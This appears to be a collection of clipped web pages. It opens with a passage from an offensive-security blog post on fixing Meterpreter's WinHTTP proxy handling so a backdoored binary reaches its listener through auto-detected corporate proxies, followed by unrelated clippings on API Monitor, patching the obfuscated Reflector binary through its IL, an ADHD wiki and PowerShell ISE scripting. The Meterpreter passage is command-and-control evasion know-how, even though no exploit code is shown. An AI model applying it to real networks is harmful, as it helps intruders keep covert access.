Before continuing, it is important to understand the three alternatives that Windows provides for proxy configuration:
1. Automatically detect settings: use the URL obtained via DHCP (options 252) or request the WPAD hostname via DNS, LLMNR or NBNS (if enabled).
2. Use automatic configuration script: download the configuration script from the specified URL and use it for determining when to use proxy servers.
3. Proxy server: manually configured proxy server for different protocols.
So, now that we have more precise information about the problem root cause, I will slightly modify the code to specifically consider the Auto Detect possibility. Let’s first do it in Python, and if it works then update the Meterpreter C code and build the Meterpreter payload.
The following is the modified Python code:

In the modified code it can be observed that it now considers the possibility of a proxy configured via DHCP/DNS. Let’s now run it and see how it behaves.
The following screenshot shows the output of the modified Python code run on the victim machine:


Observe that it successfully detected the proxy configuration that was obtained via DHCP and it shows the exact same proxy we observed at the beginning of this article (10.x.x.20).
Now that we know that this code works, let’s update the Meterpreter C source code (server_transport_winhttp.c) to test it with our backdoored binary.
The following extract of code shows the updated piece on the Meterpreter source code:

In the dark grey zone, it can be observed the updated portion. After modifying it, build the solution again, copy the resulting metsrv Meterpreter DLL to the listener machine and run the listener again to wait for the client.
The following screenshot shows the listener running on the attacker machine:


Observe how it was possible to successfully obtain a Meterpreter session when the victim machine uses the proxy “Auto Detect” configuration (DHCP option 252 in this case).
Problem root cause
Now, it is time to discuss something you may have wondered when reading this article:
· Why did the stager was able to reach the attacker machine in first place?
· What is the difference between the stager payload and the stage one in terms of communications?
In order to find the answer for those questions, we first need to understand how Meterpreter works at the moment of this writing.
Let’s start by the beginning: the Windows API provides two mechanisms or interfaces to communicate via HTTP(s): WinInet and WinHTTP. In the context of Meterpreter, there are two features that are interesting for us when dealing with HTTPs communication layer:
1. The ability to validate the certificate signature presented by the HTTPs server (Metasploit listener running on the attacker machine) to prevent the content inspection by agents such as L7 network firewalls. In other words, we desire to perform certificate pinning.
2. The ability to transparently use the current’s user proxy configuration to be able to reach the listener through Internet.
It turns out to be that both features cannot be found in the same Windows API, that is:
WinInet:
· Is transparently proxy aware, which means that if the current user system proxy configuration is working for Internet Explorer, then it works for WinInet powered applications.
· Does not provide mechanisms to perform a custom validation of a SSL/TLS certificate.
WinHTTP:
· Allows to trivially implement a custom verification of the SSL certificate presented by a server.
· Does not use the current user system proxy configuration transparently.
Now, in terms of Meterpreter, we have two different stagers payloads that can be used:
· The reverse_https Meterpreter payload uses WinInet Windows API, which means it cannot perform a certificate validation, but will use the proxy system transparently. That is, if the user can access Internet via IE, then the stager can also do it.
· The reverse_winhttps Meterpreter payload uses WinHTTP Windows API, which means it can perform a certificate validation, but the system proxy will have to be “used” manually.
In the case of the Meterpreter payload itself (the stage payload), it uses WinHTTP Windows API by default and will fallback to WinInet in case of error (see the documentation to understand a particular error condition with old proxy implementations), except if the user decided to use “paranoid mode”, because WinInet would not be able to validate the certificate, and this is considered a priority.
Note: in the Meterpreter context, “paranoid mode” means that the SSL/TLS certificate signature HAS to be verified and if it was replaced on wire (e.g. a Palo Alto Network firewall being inspecting the content), then the stage should not be downloaded and therefore the session should not be initiated. If the user requires the use of “paranoid mode” for a particular escenario, then the stager will have to use WinHTTP.
Now we have enough background to understand why we faced this problem. I was using the “reverse_https” Meterpreter payload (without caring about “paranoid mode” for testing purposes), which means that the stager used the WinInet API to reach the listener, that is, it was transparently using the current user proxy configuration that was properly working. However, as the Meterpreter stage payload uses, by default, the WinHTTP API and it has, according to my criteria, a bug, then it was not able to reach back the listener on the attacker machine. I think this provides an answer to both questions.
Proxy identification approach
Another question that we didn’t answer is: what would be the best approach to obtain the current user proxy configuration when using the WinHTTP Windows API?
In order to provide an answer for that we need to find out what is the precedence when you have more than one proxy configured on the system and what does Windows do when one option is not working (does it try with another option?).
According to what I found, the proxy settings in the Internet Option configuration dialog box are presented in the order of their precedence. First, the “Automatically detect settings” option is checked, next the “Use automatic configuration script” option is checked and finally the “Use a proxy for your LAN...” is checked.
In addition, a sample code for using the WinHTTP API can be found in the “Developer code sample” of Microsoft MSDN that states:
// Begin processing the proxy settings in the following order: 
 // 1) Auto-Detect if configured. 
 // 2) Auto-Config URL if configured. 
 // 3) Static Proxy Settings if configured
This suggests the same order of precedence we already mentioned.
Fault tolerant implementation
A last question that I have is what happens if a host is configured with multiple proxy options and one of them, with precedence, is not working? Does Windows will continue with the next option until it finds one that works?
In order to provide an answer, we could perform a little experiment or expend hours and hours reversing the Windows components that involve this (mainly wininet.dll), so let’s start by doing the experiment that will, for sure, be less time consuming.
Lab settings
In order to further analyze the Windows proxy settings and capabilities, I created a lab environment with the following features:
A Windows domain with one Domain Controller
· Domain: lab.bransh.com
· DC IP: 192.168.0.1
· DHCP service (192.168.0.100–150)
Three Microsoft Forefront TMG (Thread Management Gateway)
· tmg1.lab.bransh.com: 192.168.0.10
· tmg2.lab.bransh.com: 192.168.0.11
· tmg3.lab.bransh.com: 192.168.0.12
Every TMG server has two network interfaces: the “internal” interface (range 192.168.0.x) is connected to the domain and allows clients to reach Internet through it. The “external” interface is connected to a different network and is used by the Proxy to get direct Internet access.
A Windows client (Windows 8.1 x64)
· IP via DHCP
· Proxy configuration:
· Via DHCP (option 252): tmg1.lab.bransh.com
· Via script: http://tmg2.lab.bransh.com/wpad.dat
· Manual: tmg3.lab.bransh.com:8080
· The client cannot directly reach Internet
· Firefox browser is configured to use the system proxy
The following screenshot shows the proxy settings configured in the Windows client host


The following screenshot shows the proxy set via DHCP using the option 252:


Note: the “Automatically detect settings” option can find the proxy settings either via DHCP or via DNS. When using the Windows API, it is possible to specify which one is desired or both.
By means of a simple code that uses the API provided by Windows, it is possible to test a few proxy scenarios. Again, I write the code in Python, as it is very easy to modify and run the code without the need of compiling a C/C++ code in the testing machine every time a modification is needed. However you can do it in the language you prefer:

The code above has two important functions:
· GetProxyInfoList(pProxyConfig, target_url): This function evaluates the proxy configuration for the current user, and returns a list of proxy network sockets (IP:PORT) that could be used for the specified URL. It is important to remark that the proxy list contains proxy addresses that could potentially be used to access the Url. However, it does not mean that the proxy servers are actually working. For example, the list could contain the proxy read from a WPAD.DAT file that was specified via the “Use automatic configuration script” option, but the proxy may not be available when trying to access the target URL.
· CheckProxyStatus(proxy, target_server, target_port): This function will test a proxy against a target server and port (using the root resource URI: /) to verify if the proxy is actually providing access to the resource. This function will help to decide if a proxy, when more than one is available, can be used or not.
Testing scenario #1
In this scenario, the internal network interfaces (192.168.0.x) of the proxy servers tmg1 and tmg2 are disabled after the client machine started. This means that the only option for the client machines to access Internet would be through the proxy server TMG3.
The following screenshot shows the output of the script. In addition, it shows how IE and Firefox deals with the situation:


The testing script shows the following:
1. The option “Automatically detect settings” is enabled and the obtained proxy is “192.168.0.10:8080” (Windows downloaded the WPAD.PAC file in background and cached the obtained configuration before the proxy internal interface was disabled). However, the proxy is not working. As the internal interface of TMG1 was disabled, it was not possible to actually reach it through the network (a timeout was obtained).
2. The option “Use automatic configuration script” is enabled and the obtained proxy is “192.168.0.11:8080” (Windows downloaded the WPAD.PAC file in background and cached the obtained configuration before the proxy internal interface was disabled). However, the proxy is not working. As the internal interface of TMG2 was disabled, it was not possible to actually reach it through the network (a timeout was obtained).
3. The manually configured proxy server is “tmg3.lab.bransh.com:8080”. This proxy was successfully used and it was possible to send a request through it.
Observe that neither IE nor Firefox were able to reach Internet with the presented configuration. However, a custom application that uses tmg3 as a proxy server would be able to successfully do it.
Testing scenario #2
In this scenario, very similar to the #1, the internal network interfaces (192.168.0.x) of the proxy servers tmg1 and tmg2 are disabled before the client machine started. This means that the only option for the client machines to access Internet would be through the proxy server TMG3.
The following screenshot shows the output of the script. In addition, it shows how IE and Firefox deals with the situation:


When running our testing code, we can observe the following:
1. The option “Automatically detect settings” is enabled (tmg1.lab.bransh.com/wpad.dat), but no proxy was obtained. This occurred because the proxy server (tmg1) was not reachable when the host received the DHCP configuration (and the option 252 in particular), therefore it was not able to download the wpad.dat proxy configuration file.
2. The option “Use automatic configuration script” is enabled and the provided URL for the configuration file is “tmg2.lab.bransh.com/wpad.dat”. However, it was not possible to download the configuration script because the server is not reachable.
3. The manually configured proxy server is “tmg3.lab.bransh.com:8080”. This proxy was successfully used and it was possible to send a request through it.
Observe that IE was able to understand the configuration and reach Internet. However Firefox was not.
Testing scenario #3
In this scenario, the internal network interface (192.168.0.11) of the proxy server TMG2 was disabled before the client machine started. This means that client machines can access Internet through proxy servers TMG1 and TMG3.
The following screenshot shows the output of the script. In addition, it shows how IE and Firefox deals with the situation:


When running our testing code, we can observe the following:
1. The option “Automatically detect settings” is enabled and it is possible to access Internet through the proxy obtained (192.168.0.10:8080).
2. The option “Use automatic configuration script” is enabled and the provided URL for the configuration file is “tmg2.lab.bransh.com/wpad.dat”. However, as the network interface of this proxy was disabled, it was not possible to download the configuration script.
3. The manually configured proxy server is “tmg3.lab.bransh.com:8080”. This proxy was successfully used and it was possible to send a request through it.
In addition, observe that IE was able to understand the configuration and reach Internet. However Firefox was not.
Testing scenario #4
In this scenario, only the internal network interface (192.168.0.11) of the proxy server TMG2 is enabled:


When running our testing code, we can observe the following:
1. The option “Automatically detect settings” is enabled and it is not possible to access Internet through the proxy (192.168.0.10:8080).
2. The option “Use automatic configuration script” is enabled and the provided URL for the configuration file is “tmg2.lab.bransh.com/wpad.dat”. In addition, the obtained proxy is 192.168.0.11:8080 and it is possible to reach Internet using it.
3. The manually configured proxy server is “tmg3.lab.bransh.com:8080”. This proxy is not reachable and a TIMEOUT is obtained.
In addition, observe that IE was not able to understand the configuration and reach Internet. However Firefox successfully used the configuration and got access to Internet.
Testing scenario #5
In this scenario, the internal network interfaces of all three proxy servers are enabled. However, the external interface of the servers TMG1 and TMG2 were disabled:


When running our testing code, we can observe the following:
1. The option “Automatically detect settings” is enabled, the specificed proxy (192.168.0.10:8080) is reachable. However it answers with an error (status code 502) indicating that it is not possible to reach Internet through it.
2. The option “Use automatic configuration script” is also enabled, the specificed proxy (192.168.0.11:8080) is reachable. However it answers with an error (status code 502) indicating that it is not possible to reach Internet through it.
3. The manually configured proxy server is “tmg3.lab.bransh.com:8080”. This proxy is reachable and it does provide access to Internet.
Observe that neither IE nor Firefox were able to access Internet. However, a custom application that uses TMG3 as a proxy server would be able to successfully do it.
Conclusion
In certain scenarios, like the one exposed in the first part of this post, we will find that our favorite tool does not behaves as expected. In those situations we have mainly two options: try to find another solution or get our hands dirty and make it work. For the particular enterprise escenario I described, the fix applied to Meterpreter worked properly and after compiling its Dll, it was possible to make it work using the proxy configuration described. I’m not sure if this fix will be applied to the Meterpreter code, but if you find yourself with something like this, now you know what to do.
On the other hand, we saw that Windows tries to use the proxy configuration in order (according to the precedence we already talked). However, it seems that once a proxy was obtained (e.g. scenario #1), if it does not work, Windows does not try to use another available option. Also, we saw that Internet Explorer and Firefox, when configured as “Use system proxy settings”, do not behave in the same way when looking for a Proxy. Finally, we also saw that in both cases, when a proxy is reachable but it does not provide Internet access for any reason (e.g. the Internet link died), they will not try to use a different one that may work.
Considering the results, we can see that we do have the necessary API functions to evaluate all the proxy configurations and even test them to see if they actually allow to access an Internet resource. Therefore, with a few more lines of code we could make our APT solution more robust so that it works even under this kind of scenarios. However, I have to admit that this are very uncommon scenarios, where a client workstation has more than one proxy configured, and I don’t really think why an administrator could end up with this kind of mess. On the other hand, I’m not completely sure if it would be a good idea to make our APT work even if IE is not working. What if a host is believed to be disconnected from the Internet, but suddenly it starts showing Internet activity by cleverly using the available proxies. This may be strange for a blue team, perhaps.
As a final conclusion, I would say that making our APT solution as robust as IE is would be enough to make it work in most cases. If IE is able to reach Internet, then the APT will be as well.
References


﻿http://www.rohitab.com/apimonitor 
API Monitor: Spy on API Calls and COM Interfaces (Freeware 32-bit and 64-bit Versions!) | rohitab.com
Created:
3/24/2011 8:52:55 PM
Updated:
3/24/2011 8:53:06 PM
Author:

Tags:
API hooking awesome


API Monitor
Contents
Overview
Features
Change Log
Screenshots
Requirements
Download
Support Forums
Tutorials
Old Version 1.5
 
API Monitor v2 is currently in Alpha. Installers for both 32-bit and 64-bit versions are now available.Download Now. 

Latest release includes support for Structures.
Overview
API Monitor is a free software that lets you monitor and control API calls made by applications and services. Its a powerful tool for seeing how applications and services work or for tracking down problems that you have in your own applications.

Features
64-bit Support
API Monitor supports monitoring of 64-bit applications and services. The 64-bit version can only be used to monitor 64-bit applications and the 32-bit version can be only be used to monitor 32-bit applications. To monitor a 32-bit application on 64-bit Windows, you must use the 32-bit version. Note that the 64-bit installer for API Monitor includes both 64-bit and 32-bit versions.
 
Summary View with Syntax Highlighting
The Summary window displays information about the API call. This includes the Thread ID and the name of the DLL that made the API call, the syntax-highlighted API call with all parameters and the return value. If the API call fails, information about the error is also displayed. 

 
10,000+ API Definitions, 800+ COM Interfaces
API Monitor comes with API Definitions for over 10,000 API’s from 172 DLL’s and almost 9000 methods from 900+ COM Interfaces (Shell, Web Browser, DirectShow, DirectSound, DirectX, Direct2D, DirectWrite, Windows Imaging Component, MAPI etc). API’s are organized into categories and sub-categories (as specified in MSDN). The API Capture filter enables you to to select API’s for monitoring. 

 
Structures
API Monitor can decode and display structures. Enumerated data types, flags and buffers within structures can also be viewed. 

 
Buffer View
API Monitor can display both input and output buffers. The amount of data displayed is automatically calculated from other arguments to the API or from the API return value. The maximum amount of data to be captured is configurable. The following screenshot shows the buffer after a ReadFile API call. The length lpBuffer is calculated by looking at the value of lpNumberOfBytesRead after the API call has executed. In this case, the value returned was 174 and that is the length of the buffer displayed. 



 
Call Tree
API Monitor displays a call tree which shows the hierarchy of API calls. The following screenshot displays a call tree for a CoInitializeExcall made by notepad.exe on 64-bit Vista. 

 
Decode Parameters and Return Values
Both parameters and return values can be displayed in a user-friendly format. The first screenshot below shows the normal view with the parameter values displayed as-is. The second screenshot displays the decoded parameter values. For dwShareMode, API Monitor displays FILE_SHARE_DELETE | FILE_SHARE_READ instead of 5, when the Decode Parameter Values option is enabled. This option is available both in the parameters pane and the summary pane. 



 
Breakpoints
API Monitor lets you control the target application by setting breakpoints on API calls. Breakpoints can be triggered before an API call, after an API call, on API failure or if the API generates an exception. Pre-call Breakpoints allow you to modify parameters before they are passed to the API, or to skip the API call and specify the return value and last error code. Post-call and Error Breakpoints allow you to modify parameters, return value and last error code before they are passed back to the caller. Exception Breakpoints allow you to catch the exception to prevent the target application from a possible crash. Global breakpoints can also be triggered on API errors and exceptions. Full Auto-complete support is available for all supported enumerated data types and flags. 

 
COM Monitoring
API Monitor supports monitoring of COM Interfaces. The following screenshot displays COM method calls made by DirectShow GraphEdit. 


API Monitor also decodes GUID’s, IID’s and REFIID’s and displays them in a human readable format 

 
Decode Error Codes
When an API call fails, API Monitor can call an appropriate error function to retrieve additional information about the error. GetLastError, CommDlgExtendedError, WSAGetLastError functions are supported. In addition, NTSTATUS and HRESULT error codes can be displayed in a friendly format. In the following screenshot, the API connect failed. API Monitor determined the error code by callingWSAGetLastError and displayed both the error code and the error message in red. 

 
Call Stack
API Monitor lets you capture and view the call stack for each API call. The following screenshot displays the call stack for aNtCreateFile API. 

 
Multiple Layout Options
The GUI in this version has been completely written and provides a number of useful features. A number of pre-defined layout options are available, however, you may choose to create your own custom layout. The GUI is divided into dockable windows for “API Capture Filter”, “Running Processes”, “Output”, “Parameters”, “Hex Buffer”, “Call Stack” and “Hooked Processes”. Each of these windows can be set to “Docking”, “Floating”, “Hide” or “Auto-Hide”.
 
Process View
The Running Processes window displays a list of running processes and services that can be hooked.
   
 
Monitoring of Services
Monitoring of Windows Services is supported. The following screenshot displays calls made by the Print Spooler service when a document was printed to Microsoft XPS Document Writer. Please note that to enable monitoring of services, your user account must have sufficient privileges (Administrator mode in Vista).


 
Custom DLL Monitoring
API Monitor supports creating definitions for any DLL. Definitions are created in XML format 

 
Threads
The Hooked Processes window displays processes that were previously hooked or are currently being monitored. Expanding the process displays all threads for the process. The thread marked with “M” is the main thread of the process. Threads marked with “W” are worker threads. Inactive threads are grayed out and are also marked with a red square in their icon. Each thread displays the Thread ID and start address for the thread. 

 
Change Log
Screenshots

Main Window

Summary View

Capture Filter

Parameters

Structures

Breakpoints

Breakpoint/Structure

Threads

Call Tree

Normal

Decoded

Buffer View

Structure/Buffer

GUID Decoding

Call Stack

Decode API Error

COM Monitoring

Process View

Services

Hook Service

Hook Process

Options: Monitoring

Options: Memory

Options: Dll's

API Loader

Custom DLL
Requirements
Windows XP 32-bit, Windows XP 64-bit x64, Windows Vista 32-bit, Windows Vista 64-bit x64, Windows 7 32-bit, Windows 7 64-bit x64
Download
Download files below, or Click here to download from MediaFire
Latest Release (Alpha r5)

API Monitor v2 (Alpha-r5) - x86 32-bit - - 32-bit for Windows XP, Windows Vista and Windows 7


API Monitor v2 (Alpha-r5) - x64 64-bit - - 64-bit for Windows XP, Windows Vista and Windows 7 x64 (Includes 32-bit version)


API Monitor v2 (Alpha-r5) - Portable - - Portable - Runs without installing - 32-bit and 64-bit

Click here to download older releases
Support Forums
Tutorials
Old Version 1.5

﻿http://jukt-micronics.com/2013/10/30/net-binary-modification-walkthrough/ 
.NET: Binary Modification Walkthrough | I am not interesting enough to have a blog.
Created:
10/31/2013 12:59:39 PM
Updated:
10/31/2013 12:59:39 PM
Author:

Tags:



.NET: Binary Modification Walkthrough 
Standard 
As I kept promising but failing to do, as I am an unregenerate procrastinator, here is a step-by-step of the binary modification I demonstrated during my Summercon , NordicSec , and Brucon talks. I chose Red Gate Reflecto r for my target app– partly for the “Yo dawg”/ Inception jokes, and partly because, as we’ll see later in this blog post, the folks at Red Gate seem to have a bit of a sense of humor about such things.
As with most binaries you’ll end up working with, Reflector is obfuscated. The obfuscation used here is SmartAssembly – not surprising, since this is Red Gate’s obfuscation product. This is easily confirmed using de4dot deobfuscator :
>de4dot.exe -d "C:\Program Files(x86)\Red Gate\.NET Reflector\Desktop 8.0\Reflector.exe"
de4dot v2.0.3.3405 Copyright (C) 2011-2013 de4dot@gmail.com
Latest version and source code: https://bitbucket.org/0xd4d/de4dot
Detected SmartAssembly 6.6.0.147 (C:\Program Files (x86)\Red Gate\.NET Reflector\Desktop 8.0\Reflector.exe)
Opening the binary in Reflector in its original state, we can clearly see signs of obfuscation. Symbols have been renamed to garbage characters and methods cannot be displayed.

 
Some, however, have their original names. Well played, Red Gate. I dub this the “RedRoll.”

 
Running the app through de4dot improves the readability somewhat and reverts the binary enough that methods can be resolved. However, since the original symbol data has not been stored, the deobfuscator is forced to assign generic names:

 
Now that we have a deobfuscated binary, we can start to analyze and modify it. I’ve been relying on two add-ons to make this easier: CodeSearch (as Red Gate’s native search functionality is somewhat lacking,) and Reflexil (for assembly modification.)
For this demonstration, I decided to modify Reflector to add some functionality that I felt was sorely lacking. My goal is to introduce new code into the binary and add a toolbar icon to launch it. Since we mostly have generic symbols to work with, it’s going to be a bit more of a challenge to identify where existing functionality is implemented as well as where to inject our own code.
When analyzing a binary, it helps start with a list of goals, or at the very least touchpoints that you wish to reach. This list will undoubtedly change as you become more familiar with the app; however, it will help provide structure to your analysis. This especially helps if, like me, you tend to jump around haphazardly as new ideas pop in your head. For this particular undertaking, I fleshed out the following steps:
· Identify where toolbar icons are created and add icon representing the new functionality I’ll add
· Identify where toolbar icons are linked to the functionality/functions they invoke
· Insert an assembly reference to a DLL I’ve created into the application
· Create a new function inside Reflector invoking the functionality implemented in my DLL
· Link my tool icon to my own function
Because symbol renaming was one of the obfuscation techniques performed on this binary, locating the toolbar implementation will require a little digging, but not much. By searching for one of the strings displayed when mousing over a toolbar icon, “Assembly Source Code...,” I was able to determine the toolbar is implemented in Class269.method_26().

 
Making an educated guess from the code above, the toolbar is created by various calls to Class269.method_29(), passing in the toolBar, the image icon, the mouse over text, keybindings, and a string referring to the function invoked when the icon is clicked.
In order to add my own toolbar icon, I’ll need to add another of these calls. This can be done using Reflexil to inject the IL code equivalent, as seen below:

 
The IL written to add the appropriate call is:
 IL_01ae: ldarg.0
 IL_01af: ldarg.1
 IL_01b0: call class [System.Drawing]System.Drawing.Image ns36.Class476::get_Nyan()
 IL_01b5: ldstr "Nyan!"
 IL_01ba: ldc.i4.0
 IL_01bb: ldstr "Application.Nyan"
 IL_01c0: call instance void ns30.Class269::method_29(class Reflector.ICommandBar, class [System.Drawing]System.Drawing.Image, string, valuetype [System.Windows.Forms]System.Windows.Forms.Keys, string)
 IL_01c5: ldarg.1
 IL_01c6: callvirt instance class Reflector.ICommandBarItemCollection Reflector.ICommandBar::get_Items()
 IL_01cb: callvirt instance class Reflector.ICommandBarSeparator Reflector.ICommandBarItemCollection::AddSeparator()
 IL_01d0: pop
PROTIP: If you’re lost on what IL instructions to add, try writing a test app in C# or VB .NET, then use the Disassembly Window in Visual Studio or the IL view in Reflector to see the equivalent IL.
You can see that in this IL, I make a call to ns36.Class476::get_Nyan(). This is a function that I’ll create that returns a System.Drawing.Image object representing the icon to be displayed in the toolbar. I’ll also need to find out where to associate the “Application.Nyan” string with the function that actually calls the functionality I wish to invoke.
Doing a bit of digging into the Class476 functions, I end up determining that they are returning the images by slicing off 16×16 portions of CommandBar16.png. This means that I can add my toolbar icon to this image, which lives in the Resources section of the binary, and carve it off as well:

 
I can then add the get_Nyan() function, modeling it off of the other image-carving functions in Class476.
.method public hidebysig specialname static class [System.Drawing ]System.Drawing.Image  get_Nyan ()cilmanaged
{
    .maxstack 2
    .locals init (
        [0] class [System.Drawing ]System.Drawing.Image  image)
    L_0000: ldsfld class [System.Drawing ]System.Drawing.Image [] ns36.Class476 ::image_0 
    L_0005: ldc.i4.s 40
    L_0007: ldelem.ref 
    L_0008: stloc.0 
    L_0009: leave.s L_000b
    L_000b: ldloc.0 
    L_000c: ret 
}
With that done, I need to find where those pesky strings are linked to actual function calls. By searching for one of the strings (“Application.OpenFile,”) I find it referenced in two functions that look promising– Execute() and QueryStatus()

 
Looking inside Class269.Execute, I see that this function creates a dictionary mapping these strings to function calls.
public void Execute(string commandName) 
{ 
    string key = commandName; 
    if (key != null) 
    { 
    int num; 
    if (Class722.dictionary_4 == null) 
    { 
        Dictionary<string, int> dictionary1 = new Dictionary<string, int>(0x10); 

        dictionary1.Add("Application.OpenFile", 0); 
        dictionary1.Add("Application.OpenCache", 1); 
        dictionary1.Add("Application.OpenList", 2); 
        dictionary1.Add("Application.CloseFile", 3); 
...
        Class722.dictionary_4 = dictionary1; 
    } 

    if (Class722.dictionary_4.TryGetValue(key, out num)) 
    { 
        switch (num) { 
        case 0: this.method_45(); break; 
        case 1: this.method_46(); break; 
        case 2: this.method_47(); break; 
...

 }
QueryStatus() is structured in much the same way. I add my own dictionary entry mapping “Application.Nyan” to the function nyan() with the following IL to add the dictionary key...
IL_00d5: dup    
IL_00d6: ldstr "Application.Nyan"    
IL_00db: ldc.i4.s 16    
IL_00dd: call instance void class [mscorlib]System.Collections.Generic.Dictionary`2<string, int32>::Add(!0, !1)
...and the function mapping:
IL_01c0: ldarg.0    
IL_01c1: call instance void ns30.Class269::nyan()    
IL_01c6: leave.s IL_01c8
You’ll notice above that I reference a function called nyan(). This is the function I’ll use that will implement the functionality the icon click will invoke. I could write this functionality entirely in IL, but I’m actually not much of a masochist. What I decided to do instead was to write a DLL containing the functionality I wanted. This assembly, derp.dll, was added as an assembly reference as follows:

 
I can then insert IL for the nyan() function into Class269:
.method private hidebysig instance void nyan() cil managed
{
    .maxstack 8
    L_0000: newobj instance void [derp]derp.hurr::.ctor()
    L_0005: callvirt instance void [derp]derp.hurr::showForm()
    L_000a: ret 
}

This is about all the modification needed, but now I need to address the Strong Name Signing  on the binary, otherwise I will not be able to save and execute these changes. There are various  tutorials  on this subject, but for the purposes of this project I simply enabled Strong Name bypass for this application, as is described here . Reflexil will also allow you to do this upon saving the modified binary.
With the binary saved, I can now launch it. Now, if anything has been done incorrectly, your application will crash with a .NET runtime error either when you launch it or when trying to invoke the new functionality. For this reason, I saved my work and checked that it executed properly periodically throughout the process above. Below shows my new toolbar icon and the result of clicking it:

 
I feel that Nyan mode greatly enhances the Reflector user experience and hope that RedGate will consider adding it to a future release.
Like this :
 
﻿http://sourceforge.net/p/adhd/wiki/browse_pages/ 
ADHD / Wiki / Browse Pages
Created:
10/2/2013 3:13:40 PM
Updated:
10/2/2013 3:13:40 PM
Author:

Tags:
Defense appsec


Browse Pages 
ADHD  
beta 
ADHD provides tools for active defense.
Browse Pages 
Title
Last Update By
Last Updated
Artillery 
Ethan Robish (ethanrobish)
2013-03-21 
BearTrap 
Ethan Robish (ethanrobish)
2013-03-21 
Decloak 
Ethan Robish (ethanrobish)
2013-03-21 
Home 
Ethan Robish (ethanrobish)
2013-03-21 
Honey Badger 
Ethan Robish (ethanrobish)
2013-03-21 
Nova 
Ethan Robish (ethanrobish)
2013-03-21 
Pushpin 
Ethan Robish (ethanrobish)
2013-03-21 
Spidertrap 
Ethan Robish (ethanrobish)
2013-03-21 
Web Bug Server 
Ethan Robish (ethanrobish)
2013-03-21 
Weblabyrinth 
Ethan Robish (ethanrobish)
2013-03-21 
 
﻿http://infocenter.arm.com/help/topic/com.arm.doc.qrc0001m/QRC0001_UAL.pdf 
ARM® and Thumb®-2 Instruction Set Quick Reference Card
Created:
11/3/2010 4:40:23 AM
Updated:
11/3/2010 4:40:53 AM
Author:

Tags:
cheat sheets asm awesome


# Parallel Run-Time Verification

**Created:**| _10/23/2013 7:55:18 AM_  
---|---  
**Updated:**| _10/23/2013 7:55:58 AM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification papers concurrency_  
  
<img src='img/Berkovich_Shay.pdf' width='100%' height='103766' />

# Using ASTs with ISE to make scripting more productive - Windows PowerShell
Blog - Site Home - MSDN Blogs

**Created:**| _10/30/2013 3:41:08 PM_  
---|---  
**Updated:**| _10/30/2013 3:41:08 PM_  
**Author:**| __  
**Tags:**| __  
  

### Using ASTs with ISE to make scripting more productive

PowerShell Team

30 Oct 2013 8:23 AM

  * 0

The one thing which I really like about the PowerShell ISE is its capability
to expose its underlying script object model to allow users to customize and
modify the scripting experience to suit their style and need. At the heart of
adding any kind of customization to ISE is the $psISE object. It allows you to
take control over the various functional aspects of ISE. It has a hierarchical
object model and you can take a look here for the exhaustive list of available
features associated with this object.  
  
This post discusses how you can leverage the power of PowerShell’s publically
available Parser APIs and combine it with the ISE object model to create tools
for script analysis and easy navigation.  
  
Imagine you have to analyze a relatively large PowerShell script. This might
either have been written by somebody else or you might be reading your own
script a few months down the line. PowerShell ISE does a great job of
providing a scripting environment. You can increase its usefulness by adding
your own custom Add-Ons to make your scripting experience better and more
productive.  
With PowerShell version 3, the Abstract Syntax Tree \(AST\) of the script can
be conveniently obtained using the Parser API’s. The following line will get
the AST of the script currently opened in ISE:  
  
$AbstractSyntaxTree = \[System.Management.Automation.Language.Parser\]::  
ParseInput\($psISE.CurrentFile.Editor.Text, \[ref\]$null, \[ref\]$null\)  
  
Next, let us get find all functions in the script:  
$functionsInFile = $AbstractSyntaxTree.FindAll\(\{$args\[0\] -is
\[System.Management.Automation.Language.FunctionDefinitionAst\]\}, $true\)  
  
Apart from navigating to the function definition, it would be nice if we could
also come back to the place where we left. Implementing this is pretty easy.
All we need to do is store the line numbers where we navigate to and then
traverse them in the reverse order. \(Did someone just say the word,
‘stack’?\)  
The following scriptblock shows the implementation of the “Go-To Definition”
functionality:  
  
\#Define some useful global variables  
$global:\_\_ISEGoToAddOncurrLine=1  
$global:\_\_ISEGoToAddOncurrcol=1  
$global:\_\_ISEGoToAddOnlineToGoTo=1  
$global:\_\_ISEGoToAddOncolToGoTo=1  
\#We need two stacks - one each for line and column  
$global:\_\_ISEGoToAddOnstackOfLine = New-Object System.Collections.Stack  
$global:\_\_ISEGoToAddOnstackOfCol = New-Object System.Collections.Stack  
  
\#This scriptblock has the logic for the implementation of the Go-To
definition functionlity  
$global:\_\_ISEGoToAddOnscriptBlockGoTo =  
\{  
$AbstractSyntaxTree =
\[System.Management.Automation.Language.Parser\]::ParseInput\($psISE.CurrentFile.Editor.Text,
\[ref\]$null, \[ref\]$null\)  
$functionsInFile = $AbstractSyntaxTree.FindAll\(  
\{$args\[0\] -is
\[System.Management.Automation.Language.FunctionDefinitionAst\]\}, $true\)  
  
\#Get the text of the line where we have the cursor  
$str = $psISE.CurrentFile.Editor.CaretLineText  
  
\#Store them on the stack for later use  
$global:\_\_ISEGoToAddOnstackOfLine.Push\($psISE.CurrentFile.Editor.CaretLine\)  
$global:\_\_ISEGoToAddOnstackOfCol.Push\($psISE.CurrentFile.Editor.CaretColumn\)  
$global:\_\_ISEGoToAddOncurrLine =
$global:\_\_ISEGoToAddOnstackOfLine.Peek\(\)  
$global:\_\_ISEGoToAddOncurrcol = $global:\_\_ISEGoToAddOnstackOfCol.Peek\(\)  
  
\#Get the selected text so that it can be used for searching existing
functions  
$selectedFunction = $psISE.CurrentFile.Editor.SelectedText  
  
\#Ensure that the cursor is somewhere between the word boundaries of the
function  
$functionsInFile | %\{if\(\($str.Contains\($\_.name\)\) \`   
–and \($global:\_\_ISEGoToAddOncurrcol -ge  
$str.IndexOf\($\_.name\)\) \`  
-and \($global:\_\_ISEGoToAddOncurrcol -le   
\($str.IndexOf\($\_.name\)+$\_.name.length\)\)  
\)  
\{$selectedFunction = $\_.name\}  
\}  
if\($selectedFunction -ne ""\)  
\{  
\#See if the selected function exists in the current open file  
$functionToGoTo = $functionsInFile | ?\{$\_.name -eq "$selectedFunction"\}   
$global:\_\_ISEGoToAddOnlineToGoTo = $functionToGoTo.Extent.StartLineNumber  
$global:\_\_ISEGoToAddOncolToGoTo = $functionToGoTo.Extent.StartColumnNumber  
  
\}  
if\($functionToGoTo -eq $null\)  
\{  
try  
\{  
$comm = Get-Command -Name "$selectedFunction" -ErrorAction SilentlyContinue  
$comm.Definition | Out-GridView   
\}  
catch \[System.Exception\]  
\{  
\}  
\}  
else  
\{  
\#Select the function definition assuming the function name immediately
follows the keyword 'function'  
try  
